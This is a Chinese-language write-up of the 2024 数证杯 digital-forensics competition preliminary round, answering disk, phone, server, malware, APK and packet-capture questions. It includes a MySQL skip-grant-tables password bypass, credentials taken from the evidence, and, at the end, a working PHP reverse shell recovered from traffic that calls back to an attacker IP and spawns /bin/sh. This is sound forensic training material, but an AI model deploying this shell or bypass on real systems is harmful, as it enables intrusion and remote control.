2024数证杯初赛WP

容器文件MD5值:4AAA79BA46C2065FC5C4D5DC97202F3D
通过下方任意链即可下载本次初赛检材:
百度网盘 请输入提取码
提取码:ksen
百度网盘 请输入提取码
提取码:uuk4
容器密码:
/TP2G-h`q#(Ss!EUq,RR:Ss9"@!R"{-.kNw+-(gwGq.YLDS-|NEWH(GT3;6;

计算机取证

仿真账号密码

Administratorjlb654321

[填空题]对计算机镜像进行分析,计算该镜像中ESP分区的SM3值后8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

EFI系统分区,即 EFI system partition,简写为 ESP。该分区在 Windows 操作系统下一般是不可见的。支持 EFI 模式的电脑需要从 ESP 启动系统,EFI 固件可从 ESP 加载 EFI 启动程序和应用程序。

ESP是一个独立于操作系统之外的分区,操作系统被引导之后,就不再依赖它。这使得 ESP 非常适合用来存储那些系统级的维护性的工具和数据,比如:引导管理程序、驱动程序、系统维护工具、系统备份等,甚至可以在 ESP 里安装一个特殊的操作系统(SlaTaz Linux? PuppyLinux? Win PE?)。

BDBE1073

[填空题]对计算机镜像进行分析,该操作系统超管账户最后一次注销时间为?(时区为UTC+08:00)(答案格式如:1970-01-01 00:00:00) (2分)

2024-10-25 22:57:32

[填空题]对计算机镜像进行分析,该操作系统超管账户有记录的登录次数为?(填写数字,答案格式如:1234) (2分)

24

[填空题]对计算机镜像进行分析,该操作系统设置的账户密码最长存留期为多少天?(填写数字,答案格式如:1234) (2分)

上网查询到查看的方法,默认的就是42天

https://jingyan.baidu.com/article/a3f121e4be5b7fbd9152bb05.html

42

对计算机镜像进行分析,该操作系统安装的数据擦除软件的版本为?(答案格式:1.23) (2分)

5.86

对计算机镜像进行分析,该操作系统接入过一名称为“Realtek USB Disk autorun USB Device”的USB设备,其接入时分配的盘符为?(答案格式:A:) (2分)

E:

对计算机镜像进行分析,该操作系统无线网卡分配的默认网关地址为?(答案格式:127.0.0.1) (2分)

192.168.43.1

对计算机镜像进行分析,该操作系统配置的连接NAS共享文件夹的IP地址为?(答案格式:127.0.0.1) (2分)

192.168.188.1

对计算机镜像进行分析,写出“吵群技巧.txt”文件SM3值的后8位?(大写字母与数字组合,如:D23DDF44) (2分)

可以从出题人的角度寻找文件:在仿真的电脑里输入win加R,再输入recent去查看最近的文件,对日期进行排序后筛选西出可疑文件—— 话术、方法、技巧.zip

火眼定位导出解压,进行SM3计算

10887AE1

对计算机镜像进行分析,该操作系统通过SSH连接工具连接CCTalk测试环境的SSH端口为?(填写数字,答案格式如:1234) (2分)

12849

对计算机镜像进行分析,该操作系统通过SSH连接工具连接的CCTalk境外服务器是哪个运营商的?(填写汉字,答案格式:阿里云) (2分)

回收站还原CCtalk

打开即弹出IP

微步查询为亚马逊云

亚马逊云

对计算机镜像进行分析,获取机主保存在本机的U盾序号的后4位数字为?(填写数字,答案格式如:1234) (2分)

搜索U盾,只找到一张jpeg

猜测是misc里常见的图片隐写

方法一:导出后拖入kali进行binwalk分离

参考:一、图片隐写[Stegsolve、binwalk、010editor、WaterMark、BlindWaterMark、文件头尾、tweakpng、APNG Disassembler]-CSDN博客

方法二:改文件后缀为.zip,解压缩即可

6409

对计算机镜像进行分析,机主存储的某篇新闻报道“小程序搅动资源争夺战”的发表年份为?(答案格式:2024) (2分)

网上搜索即可

2019

对计算机镜像进行分析,该操作系统访问“环球商贸”的IP地址为?(答案格式:127.0.0.1) (2分)

39.108.126.128

对计算机镜像进行分析,“环球商贸”服务器配置的登录密码为?(答案按照实际填写,字母存在大小写) (2分)

时间排序可以看到使用了Finalshell连接

finalshell路径

定位json文件

火眼没有解出来,使用网上的工具或网站对json文件解密

GitHub - antonTwelve/finalshellPasswordDecrypter: finalshell密码解密离线网页工具,屎山代码,能用就行

查看FinalShell已保存密码 | 在线工具 - 查看FinalShell密码 免费

HQSM#20231108@gwWeB

对计算机镜像进行分析,机主安装的PC-Server服务环境的登录密码是?(答案按照实际填写,字母全小写) (2分)

同上解密PC的json得到

jlb654321

[填空题]对计算机镜像进行分析,机主搭建的宝塔面板的安全入口为?(答案格式:/abc123) (2分)

/c38b336a

对计算机镜像进行分析,机主搭建的宝塔环境中绑定的宝塔账号是?(按实际值填写) (4分)

计算机中还有一个嵌套镜像,直接添加为新检材

宝塔面板可以使用WXjzcccc的一把锁工具,前提是要连接仿真好的服务器。这部分的宝塔是vhdx文件,可以直接火眼仿真

工具:WXjzcccc/PanelForensics: Linux面板取证一把梭 (github.com)

最开始没有ip,查找服务器文件是因为ens33名称和配置文件eth0冲突,改一下名字

手动重命名接口(临时解决方案)

如果你只需要临时重命名接口,可以使用 ip 命令:

  1. 停用 ens33 接口

    sudo ip link set ens33 down
  2. 重命名接口

    sudo ip link set ens33 name eth0
  3. 启用 eth0 接口

    sudo ip link set eth0 up
  4. 更新 Netplan 配置: 编辑 Netplan 配置文件,将 ens33 改为 eth0

    sudo nano /etc/netplan/00-installer-config.yaml

    修改内容为:

    # This is the network config written by 'subiquity'
    network:
      version: 2
      ethernets:
        eth0:
          dhcp4: true
  5. 应用新的网络配置

    sudo netplan apply

igmxcdsa

对计算机镜像进行分析,其搭建的宝塔面板的登录密码为?(按实际值填写) (2分)

看大佬博客了解到可以使用x-way爆搜用户名,定位pagefile.sys文件

定位虚拟内存文件,并导出

使用winhex或者010查看编码,可以定位到密码

jlb1998

[填空题]对计算机镜像进行分析,机主搭建的宝塔环境中绑定的宝塔账号是?(按实际值填写) (4分)

userinfo.json 是宝塔面板中一个比较重要的文件,它通常用于存储与用户相关的信息。

一般情况下,userinfo.json 文件位于宝塔面板的安装目录下的 panel 文件夹内,具体路径为/www/server/panel/data/userinfo.json

17859628390

对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境的root密码为?(按实际值填写) (4分)

123456

对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境连接的端口号为?(填写数字,答案格式如:1234) (2分)

同上

3306

接上题,“卡号分组”表所在的数据库名为?(答案按照实际填写,字母全小写) (4分)

a_train2023

接上题,“孙华锦”在2020-07-01 10:49:07时间节点的交易余额为?(答案格式:1234.56) (4分)

用nacvicat连接vhdk里的数据库查看

6610.94

U盘取证

对U盘镜像进行分析,其镜像中共有几个分区?(填写数字,答案格式如:1234) (2分)

X-Way出马,统统闪开

2

对U盘镜像进行分析,其中FAT32主分区的FAT表数量有几个?(请使用十进制数方式填写答案,答案格式:1234) (2分)

打开R-Studio,加载镜像,全盘扫描,得到所有文件

1

对U盘镜像进行分析,其中FAT32主分区定义的每扇区字节数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

4kB是8个扇区,所以1KB就是2个扇区,512字节就是1个扇区

x-way也能看

512

对U盘镜像进行分析,其中FAT32主分区的文件系统前保留扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

计算方法:保留扇区=fat扇区位置-起始扇区位置

起始扇区位置(2048)

fat扇区位置(9393)

搜索fat分区的头——F8FFFF

搜索——十六进制数值——输入F8FFFF

7345

对U盘镜像进行分析,其中FAT32主分区的FAT1表相对于整个磁盘的起始扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

相对于整个磁盘应该是9393,相对于分区应该是7345

9393

对U盘镜像进行分析,其中NTFS逻辑分区的$MFT起始簇号为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

八个扇区=一个簇

39082

对U盘镜像进行分析,其中NTFS逻辑分区的簇大小为多少个扇区?(请使用十进制数方式填写答案,答案格式:1234) (4分)

8

对U盘镜像进行分析,请从该镜像的两个分区中找出使用“新建文本文档.txt”记录的同一个MD5值的两部分信息,并写出该MD5值的第13--20位字符串。(答案格式:大写字母与数字组合,如:D23DDF44) (4分)

使用Diskgenius pro

加载虚拟磁盘映像

  • 打开 DiskGenius Pro。
  • 点击顶部菜单栏中的 磁盘 -> 打开虚拟磁盘文件...
  • ‘查看’选项选择所有文件类型,加载.dd文件
  • 恢复文件,选中所有类型

找到文件头损坏的两个图片

导出后010恢复即可——FF D8 FF E1

b31d0139c8dd668aee24fa0a716dffe

手机取证

对手机镜像进行分析,机主微信ID号为?(答案按照实际填写,字母全小写) (2分)

wxid_gvlyzqeyg83o22

对手机镜像进行分析,机主在2023年12月登录宝塔面板使用的验证码为?(填写数字,答案格式如:1234) (2分)

482762

对手机镜像进行分析,小众即时通讯“鸽哒”应用程序的最后更新时间为?(答案格式如:1970-01-01 00:00:00) (2分)

2024-09-20 10:06:13

对手机镜像进行分析,该手机中记录的最后一次开机时间。(答案格式如:1970-01-01 00:00:00) (2分)

2024-10-24 11:27:14

对手机镜像进行分析,该手机中高德地图APP应用的登录ID为?(答案按照实际填写) (2分)

950980338

对手机镜像进行分析,该手机中高德地图APP应用登录账号头像的SHA-256值前8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

该题答案8F8A68A3或572589DA

因为图片在两个路径存储

1.分区4/media/0/Android/data/com.autonavi.minimap/files/autonavi/avatar

2.分区4/media/0/Android/data/com.autonavi.minimap/files/autonavi/httpcache/imageajx

对手机镜像进行分析,其中20220207-20230206的微信账单文件的解压密码为?(答案格式:按实际值填写) (2分)

847905

对手机镜像进行分析,机主在手机中存储的一张复古土砌矮墙照片的拍摄地为哪个城市?(答案格式:北京市) (2分)

也可以通过导出图片,在属性查看经纬度定位

景德镇市

对手机镜像进行分析,通过AI合成的人脸照片中,有几张照片是通过本机当前安装的AI照片合成工具生成,并有对应记录的?(填写数字,答案格式如:1234) (4分)

第一步是寻找AI照片合成app的包

重点关注的app

路径:分区4/data/uni.UNI2DBD214_1/files/apps/__UNI__2DBD214/www

查看数据库,一共三条

路径:分区4/data/uni.UNI2DBD214_1/databases

3

对手机镜像进行分析,统计出通讯录号码归属地第二多的省份是?(答案格式:广东) (4分)

这一题涉及数据分析的知识,但是数据比较少

导出通讯录为csv文件

一眼福建

如果数据多建议对数据进行清洗,再统计数量比较,也可以做直线图,更加直观

福建

对手机镜像进行分析,找出“季令柏”身份证号后4位为?(答案格式:1234) (2分)

定位,猜测改文件头恢复

8043

对手机镜像进行分析,找出接收“葵花宝典1.doc”文件使用的应用程序的第一次安装时间为?(答案格式如:1970-01-01 00:00:00) (2分)

TG

2024-09-20 09:29:40

对手机镜像进行分析,机主使用的小众即时通讯应用使用的服务器IP为?(答案格式:127.0.0.1) (2分)

上面知道这个app为“鸽哒”

老样子,火眼分析不了就翻数据库(媒体找media,数据库找data)

另外的思路:

1.可以将apk单独导出,进行抓包获取ip

2.使用apk分析工具,例如雷电app分析工具找到外连ip

3.使用开源工具“apk2url”,可在https://github.com/n0mi1k/apk2url下载或者在线安装。将geda.apk文件与apk2url.sh放置同一目录,并在终端中执行./apk2url.sh geda.apk。

等待数秒后结果将被输出至txt文件中,查看运行结果可知本题答案。

163.179.125.64

对手机镜像进行分析,机主在哪个平台上发布过转让传奇游戏币的信息,请写出该平台应用APP的包名?(答案格式:com.abcd) (4分)

根据时间分析,一眼“95分”

全局搜索

猜测正确

com.jiuwu

对手机镜像进行分析,其中有一“双色球”网页的玩法规则中定义的“三等奖”的奖金是多少?(填写数字,答案格式如:1234) (4分)

老样子,在最近app找线索——目标在备忘录上

找到线索

10000

对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的用户ID为?(答案格式:答案按照实际填写) (2分)

2968704175

对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的IP地址为?(答案格式:127.0.0.1) (4分)

不知道路径,要么问ai,要么爆搜

爆搜也可以定位

192.168.110.106

数据分析

对计算机,手机,U盘镜像检材综合分析,找出计算机中VC加密容器使用的登录密钥文件,其中逻辑大小较小的文件占用多少个字节?(答案格式:1234) (4分)

小众软件鸽哒的数据库可以看见解密方式

1173

对计算机,手机,U盘镜像检材综合分析,写出存储的“带彩计划.txt”文件的SM3哈希值前8位;(大写字母与数字组合,如:D23DDF44) (2分)

这两道题需要把d盘的我的文件.vhd进行vc挂载,密钥文件为finalshell和winhex的快捷方式

我挂载有点问题,后面成功再补上

AF30FFA1

对计算机,手机,U盘镜像检材综合分析,写出存储的“Shakepay买币,提币流程.ppt”文件在当前分区的起始簇号;(填写数字,答案格式如:1234) (4分)

44378

对计算机,手机,U盘镜像检材综合分析,写出存储在手机中,用于访问钱包地址的网站登录密码;(答案按照实际填写,字母全大写) (4分)

手机里有

X29772024

对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址的前8位;(答案格式:abcd1234) (4分)

登录浏览器metamask插件即可

0x91cCcA

对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址私钥的前8位;(答案格式:abcd1234) (4分)

e87dca4c

对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的转入金额第三高的“对方卡号”字段的值为?(答案格式:汉字) (2分)

个人感觉下面的题目才是数据分析——在海量数据中提取关键信息(大数据)

后面专项学习数据分析再补上wp

可参考:

2024年数证杯writeup

2024年首届数证杯 初赛wp_2024美亚杯团体赛wp-CSDN博客

北贡

对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的“对方卡号”字段值为“陈建设”的转出净值为?(填写数字,答案格式如:1234) (2分)

501661

对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的交易笔数第三多的数量为?(填写数字,答案格式如:1234) (2分)

207

对数据分析检材中的第01-数据进行分析,办案人员从多个赌博网站中导出了100多份的报表,请统计出所有平台会员使用本币充值的总金额是多少?(答案格式:仅数字,结果不保留小数) (2分)

17590342

对数据分析检材中的第02-数据进行分析,办案人员在电脑中找到多个赌博网站的交易流水报表,每个报表都是以网站编号和年份命名,每个月独立生成一个sheet页。请统计出所有的交易流水总金额是多少?(答案格式::123456) (2分)

120630660

对数据分析检材中的第03-数据进行分析,请从赌博平台的用户登录日志表中,统计出2020年1月1号至2020年6月30号,总共有多少位会员登录了该平台?(答案格式:123456) (2分)

4134

对数据分析检材中的第03-数据进行分析,通过还原赌博平台数据库备份文件,请统计用户投注总次数前5的彩种开奖总次数?(涉及的数据库表:ssc2022_bets,ssc2022_data)(答案格式:123456) (4分)

12724

对数据分析检材中的第03-数据进行分析,请统计出在不止一种彩种上进行过投注的用户数量,并计算他们在2018年一共涉及了平台多少流水?(答案格式:保留三位有效数字,如:123.123) (4分)

10721.099

服务器取证

第一步:将镜像放火眼分析,并且需要将system和data分别仿真

第二步:配置环境

可以猜测system是前端站点服务器,data是后端数据库服务器,后面针对不同题目可以在对应的服务器里寻找线索

192.168.71.137 system

data服务器ip需要手动配置

初始为192.168.160.150,网卡为ens33

  1. 编辑网络接口配置文件: 网络接口配置文件通常位于/etc/sysconfig/network-scripts/目录下,文件名类似于ifcfg-eth0ifcfg-ens33。使用文本编辑器打开它。

    sudo vi /etc/sysconfig/network-scripts/ifcfg-ens33
  2. 修改配置文件: 在文件中查找并修改以下行:

    BOOTPROTO=static
    ONBOOT=yes
    IPADDR=192.168.1.100
    NETMASK=255.255.255.0
    GATEWAY=192.168.1.1
    DNS1=8.8.8.8

    如果这些行不存在,则添加它们。确保将IPADDRNETMASKGATEWAYDNS1设置为你想要的值。

  3. 重启网络服务: 修改配置文件后,重启网络服务使更改生效。

    sudo systemctl restart network

对服务器检材进行分析,站点服务器可能是从哪个云服务平台上调证过来的?(填写汉字,答案格式:亿速云) (2分)

仿真时可以看到“阿里云”

阿里云

对服务器检材进行分析,站点服务器中数据库的密码是?(按实际值填写) (2分)

这题明确是站点服务器,需要在system里找答案

history命令可以了解服务器的配置流程——核心命令★

找到疑似密码:Sxy000**

yum install可以查看安装了什么环境

RabbitMQ

RabbitMQ 是一个开源的消息代理(Message Broker)软件,也称为队列管理器。它允许不同的应用程序通过消息队列进行通信,支持多种协议,最著名的是AMQP(高级消息队列协议)。RabbitMQ被广泛用于解耦应用组件、实现异步处理、流量削峰等场景。

Erlang

Erlang 是一种编程语言及其运行环境,最初由瑞典电信公司爱立信开发,特别适合构建高并发、分布式的容错系统。Erlang具有轻量级进程、内置的垃圾回收机制、热代码交换等功能,使其非常适合开发如RabbitMQ这样的实时通信系统。

Java

Java 是一种广泛使用的面向对象的编程语言,设计初衷是“编写一次,到处运行”。Java拥有庞大的标准库和活跃的社区支持,适用于从桌面应用到大型企业级应用的各种场景。Java平台包括Java虚拟机(JVM)、Java类库以及Java语言本身,使得Java程序可以跨平台运行。

Nginx

Nginx(发音为“engine-x”)是一个高性能的HTTP服务器和反向代理服务器,同时也支持IMAP/POP3代理服务。Nginx以其高并发连接处理能力而闻名,能够有效地管理静态文件、负载均衡、缓存等任务。它常用于作为Web应用的前端服务器或API网关。

Redis

Redis 是一个开源的内存数据结构存储,可以用作数据库、缓存和消息中间件。它支持多种数据结构如字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)及有序集合(sorted sets)。Redis提供了持久化选项,并且具备主从复制、哨兵模式下的自动故障转移等功能,非常适合用于需要快速读写操作的应用场景。

Consul(已删除)

Consul 是由HashiCorp开发的服务网格解决方案,提供了一整套的服务发现、配置管理和多数据中心网络方案。它可以帮助解决微服务架构中的常见问题,例如服务注册与发现、健康检查、Key/Value存储、多数据中心支持等。Consul的设计理念强调简单性和灵活性,既可以作为独立工具使用,也可以集成到更复杂的企业级环境中。

可以了解到该前端站点服务器为java网站架构,启动方式为jar包,站点结构为‘LNRJ’

找到data目录下的启动jar包,导出用jadx反编译分析/改后缀为zip解压

在历史命令中存在java -jar cal-0.0.1-SNAPSHOT.jar --spring.profiles.active=sxj,这个命令指向这个jar包的application-sxj.yaml文件,这个yaml文件即配置文件。

确定答案为:Sxy000**

Sxy000**

对服务器检材进行分析,站点服务器用于提供服务发现的工具名是?(答案格式:zookeeper) (4分)

上面history已找到

consul

对服务器检材进行分析,站点服务器数据库配置文件名是?(答案格式:database.php) (2分)

上面已找到

application-sxj.yaml

对服务器检材进行分析,该网站涉及的APP名称是?(答案格式:微信) (2分)

主文件指向‘sxj’

application-sxj.yaml找到app名

顺心借

对服务器检材进行分析,该网站用于存储大量身份证照的OSS中的AccessKeyID后八位是?(答案格式:按实际值填写) (2分)

application-sxj.yaml找到AccessKeyID

EuZJybzD

对服务器检材进行分析,站点服务器用于消息转发代理工具所使用的端口号是?(填写数字,答案格式:3306) (2分)

上面知道是:RabbitMQ

5672

对服务器检材进行分析,站点服务器用于启动定时任务的代码片段存在于?(答案格式:LoginIndex.class) (4分)

爆搜即可

MobileStatusTask.class

对服务器检材进行分析,站点服务器用于验证用户输入的验证码是否匹配的代码片段存在于?(答案格式:LoginIndex.class) (4分)

同理

com.rh.cal.controller.admin

AdminIndexConller.class

对服务器检材进行分析,数据库服务器中Docker容器镜像中mysql的镜像ID号前6位是?(答案格式:123asd) (2分)

23b013

对服务器检材进行分析,数据库服务器中DockerCompose的版本号是?(答案格式:1.1.1) (2分)

2.27.1

对服务器检材进行分析,数据库服务器中用于存储后台登录账号的数据表名是?(答案格式:login) (2分)

已知该数据库为docker启动的mysql,这题主要考查mysql数据库的相关知识,包括绕密登录、修改密码、远程连接等知识,需要一定的熟练度。通过绕密,修改密码登录mysql8.0,并远程连接navicat

正常连接拒绝

docker exec -it mysql8.0.39 bash

mysql -u root -p 输入密码发现一直错误——选择绕密

systemctl stop firewalld

docker exec -it mysql8.0.39 bash

sed -i '/\[mysqld\]/a skip-grant-tables' /etc/my.cnf

exit

docker restart mysql8.0.39

docker exec -it mysql8.0.39 bash

mysql -u root -p  # 不用输入密码,直接两次回车即可

FLUSH PRIVILEGES;

ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';

ALTER USER 'root'@'%' IDENTIFIED BY '123456';

FLUSH PRIVILEGES;

exit
    
sed -i "s/skip-grant-tables/ /" /etc/my.cnf   #删除skip-grant-tables后重启容器(不删除无法正常从外部连接)
    
exit
    
docker restart mysql8.0.39

Navicat连接即可

sys_user

对服务器检材进行分析,后台管理员“xpt-0”所绑定的手机号码是?(答案格式:13001880188) (2分)

19521510863

对服务器检材进行分析,用户首次借款初始额度是?(填写数字,答案格式:1) (2分)

爆搜

4000

对服务器检材进行分析,受害者在平台中一共结款了几次?(填写数字,答案格式:1) (2分)

这一题开始需要重构网站,比较难。其实也可以翻数据库找答案,但是比较麻烦

第一步:mysql创建用户

数据库连接信息里没有配置里的sxy用户,所以需要创建一个用户并授权

docker exec -it mysql8.0.39 bash

mysql -u root -p  # 输入密码123456

CREATE USER 'sxy'@'%' IDENTIFIED WITH mysql_native_password BY 'Sxy000**';  

GRANT ALL PRIVILEGES ON sxj_prod.* TO 'sxy'@'%';

FLUSH PRIVILEGES;

mysql的user表——成功添加

第二步:修改host文件

F12查看网络信息,接受验证码ip(47.96.140.186)不对。如果要成功登录,需要通过system的rabbitmq接收,并与redis存储验证码数据比较,所以先要修改host,让网络转到system的ip上

#将主机名映射到ip地址上,编辑hosts文件

vi /etc/hosts

#在其中添加下列代码,第一行是rabbitmq服务,第二行是将阿里云的地址映射到本地

127.0.0.1    iZbp1gma2uf9hvsnbu9mdkZ   iZbp1gma2uf9hvsnbu9mdkZ  #system的ip

192.168.71.150   rm-bp18td28bsh13f5jy.mysql.rds.aliyuncs.com     #data的ip

#修改后台跳转地址为本机地址

cd /www/admin/

find ./ -type f -name '*js' -exec sed -i 's/47.96.140.186/192.168.71.137/g' {} +    #system的ip

第三步:固定redis验证码

查看jar源代码,发现是将验证码和redisCode进行比较,所以验证码应该是需要存入redis中的

navicat连接,密码为:Sxy000**

添加即可

第四步:启动所有服务

#启动rabbitmq服务

systemctlstartrabbitmq-server

#root目录下启动consul服务

cd/root

./consul.sh

#data目录下启动jar包脚本

Cd/data

./jar.sh

可以用netstat -anlpt检查开放的服务端口
使用systemctl status xxx  检查服务是否开启

第四步:网站访问

可以看到网站开放了82,83——82为后台登录界面

推荐使用chrome浏览器

输入电话号码和验证码即可登录

参考文章:

2024数证杯初赛 | Yiyi (xyaxxya.github.io)

2024“数证杯”初赛服务器取证赛题WP

2024年数证杯writeup

开始做题!

1857

对服务器检材进行分析,该平台中所有下单用户成功完成订单总金额是?(填写数字,答案格式:1) (2分)

11066700

对服务器检材进行分析,该平台中逾期费率是?(答案格式:1.1) (2分)

0.1

对服务器检材进行分析,该平台中累计还款总金额是?(填写数字,答案格式:1) (2分)

10194700

对服务器检材进行分析,该平台总共设置了多少种借款额度?(填写数字,答案格式:1) (2分)

有一条被禁用

18

对服务器检材进行分析,该平台一共有多少个借款渠道?(填写数字,答案格式:1) (2分)

131

对服务器检材进行分析,该平台对已完成用户收取了总计多少元服务费,结果精确到整数?(填写数字,答案格式:123) (2分)

4051915

程序功能分析

对exe程序检材进行分析,计算程序的MD5(128bit)校验值的最后八位是?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

3CDD7939

对exe程序检材进行分析,找出其释放的可执行程序的路径?(答案格式:D:\Document\Aaaa) (2分)

木马文件路径

C:\Program Files\Cloudflare

对exe程序检材进行分析,找出其启动释放的可执行程序时命令的最后一个参数是什么?(答案格式:按实际值填写) (2分)

exe分析属于盲区,后面熟悉工具使用和解题思路后补上

参考wp——2024“数证杯”初赛程序功能分析部分赛题WP

8.8.8.8

对exe程序检材进行分析,该程序在执行时,会解密并写入一段字节码到Chakra模块的一个特定导出函数的内存地址中,以此来伪装调用的目的,请给出这个导出函数的名称?(答案格式:按实际函数名称填写) (2分)

JsProjectWinRTNamespace

对exe程序检材进行分析,请问Chakra模块的代码段被修改了多少字节(答案格式:0x1122) (2分)

0x3C809

对exe程序检材进行分析,解密出的字节码数据中携带着PE格式的数据,并且_IMAGE_NT_HEADERS头部的PE签名已经被修改,请给出修改后的签名值(答案格式:0x11 0x22) (2分)

0x4E 0x4F

对exe程序检材进行分析,解密出的字节码数据中携带着PE格式的数据,并且节区数据被加密,请分析给出解密第一个节区时使用的秘钥(答案格式:0x1B 0x22 0x33 0x4A) (4分)

0x9E 0x32 0xB1 0xA6

对exe程序检材进行分析,这份字节码数据解密前的密文第一个字节是什么(例如:0x1B) (4分)

0x5A

分析检材APK中检材-01.apk,获取其md5(128bit)校验值的后八位?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

CEAEBF87

分析检材APK中检材-01.apk,请写出app的包名?(答案格式:com.xxx.xxx) (2分)

反编译也可以看

com.changbo.pro

接上题,请给出app的加固方式;(答案格式:梆梆) (2分)

360

接上题,请给出app启动时主页面显示的activity名称;(答案格式:com.xxx.xxx.Mainactivity) (2分)

GDA打开也可以找到

com.changbo.pro.ui.splash.SplashActivity

分析检材APK中检材-01.apk,请给出加密的访问地址的数据是? (4分)

这题开始需要手动分析

在文本资源里找到定义的app_s

访问地址的数据在下面

nCTC3EZ+il7D3P/0HglgduhUqlJikQwK

分析检材APK中检材-01.apk,请给出解密后的域名为?(答案格式:需要加上端口号,如:http://tieba.com:6666) (4分)

模拟器里的算法助手结果为http://yueze.cc:8777

http://yueze.cc:8777

接上题,请给出解密调用的so的名称;(答案格式:abc_amm) (4分)

跟进函数调用

arm_classes4

对检材APK中检材-02.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)

16,17为misc套题

23柏鹭杯-misc - WXjzc - 博客园 (cnblogs.com)

flag

对检材APK中检材-03.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)

flag

网络流量分析

分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10) (2分)

拉到最底下,也可以看到3504

3504

分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32) (2分)

23F79

分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1) (2分)

可以看到主要是192.168.75.132和192.168.75.131的通讯

筛选——http && ((ip.src == 192.168.75.132 && ip.dst == 192.168.75.131) || (ip.src == 192.168.75.131 && ip.dst == 192.168.75.132))

可以看到131返回的都是状态码,132都是GET请求路径,一直在进行扫描。所以131是服务器,132是mac攻击机

192.168.75.131

分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu) (2分)

找一个状态码返回包,在Hypertext里找

ubuntu

分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc) (2分)

随便找一个扫描路径的包,在Hypertext里找到nmap

nmap

分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1) (2分)

同理

3.1.0

分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php) (2分)

可以设置筛选条件——http && ip.src == 192.168.75.132 && ip.dst == 192.168.75.131 && !(http.response.code == 404)

登录点要提交数据,方法为POST,即可找到

/dbadmin/test_db.php

分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写) (2分)

http && ((ip.src == 192.168.75.132 && ip.dst == 192.168.75.131) || (ip.src == 192.168.75.131 && ip.dst == 192.168.75.132))

几个POST后变GET了,说明登录成功

admin

分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt) (4分)

登录成功后方法是get,后面变成post,怀疑是上传了phpinfo的php文件

追踪tcp流可以找到phpinfo的信息

查看131返回状态码的包——导出ascii转htlm文件更加直观

导出改后缀为htlm即可

demo.php

分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt) (4分)

服务器漏洞从攻击机上下载的 payload,说明是131向132发送GET请求,即可定位

追踪流可以查看木马文件

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
